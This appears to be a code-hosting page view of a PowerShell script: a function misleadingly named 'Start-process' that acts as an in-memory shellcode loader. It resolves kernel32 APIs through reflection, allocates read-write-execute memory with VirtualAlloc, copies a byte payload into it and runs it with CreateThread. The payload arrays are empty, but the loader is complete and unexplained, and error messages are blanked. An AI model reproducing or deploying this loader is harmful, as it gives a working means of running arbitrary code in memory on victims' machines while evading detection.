93 lines
No EOL
5.3 KiB
Text
93 lines
No EOL
5.3 KiB
Text
function Start-process
|
|
{
|
|
[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param (
|
|
)
|
|
Set-StrictMode -Version 2.0
|
|
function Local:Get-DelegateType
|
|
{
|
|
Param
|
|
( [OutputType([Type])] [Parameter( Position = 0)][Type[]] $Parameters = (New-Object Type[](0)),
|
|
[Parameter( Position = 1 )][Type]$ReturnType = [Void] )
|
|
$Domain = [AppDomain]::CurrentDomain
|
|
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
|
|
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
|
|
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
|
|
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
|
|
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
|
|
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
|
|
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
|
|
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
|
|
Write-Output $TypeBuilder.CreateType()
|
|
}
|
|
function Local:Get-ProcAddress
|
|
{
|
|
Param
|
|
( [OutputType([IntPtr])] [Parameter( Position = 0, Mandatory = $True )][String]$Module,
|
|
[Parameter( Position = 1, Mandatory = $True )][String]$Procedure )
|
|
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
|
|
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
|
|
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
|
|
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
|
|
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
|
|
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
|
|
$tmpPtr = New-Object IntPtr
|
|
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
|
|
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
|
|
}
|
|
|
|
function Local:Inject-LocalInstructions
|
|
{
|
|
if ($PowerShell32bit) {
|
|
if ($Instructions32.Length -eq 0)
|
|
{ Throw ''
|
|
return }
|
|
$Instructions = $Instructions32
|
|
}
|
|
else
|
|
{
|
|
if ($Instructions64.Length -eq 0)
|
|
{ Throw ''
|
|
return }
|
|
$Instructions = $Instructions64
|
|
}
|
|
$BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Instructions.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
|
if (!$BaseAddress)
|
|
{ Throw "" }
|
|
[System.Runtime.InteropServices.Marshal]::Copy($Instructions, 0, $BaseAddress, $Instructions.Length)
|
|
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
|
|
$ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $BaseAddress, 0, 0, [IntPtr]::Zero)
|
|
if (!$ThreadHandle)
|
|
{ Throw "" }
|
|
$WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null
|
|
$VirtualFree.Invoke($BaseAddress, $Instructions.Length + 1, 0x8000) | Out-Null
|
|
}
|
|
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
|
|
if ($IsWow64ProcessAddr)
|
|
{
|
|
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
|
|
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
|
|
$64bitCPU = $true
|
|
}
|
|
else
|
|
{ $64bitCPU = $false }
|
|
if ([IntPtr]::Size -eq 4)
|
|
{ $PowerShell32bit = $true }
|
|
else
|
|
{ $PowerShell32bit = $false }
|
|
[Byte[]] $Instructions32 = @()
|
|
[Byte[]] $Instructions64 = @()
|
|
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
|
|
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
|
|
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
|
|
$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
|
|
$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool])
|
|
$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
|
|
$CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread
|
|
$CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
|
|
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
|
|
$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
|
|
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
|
|
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
|
|
Inject-LocalInstructions
|
|
}
|
|
Start-process |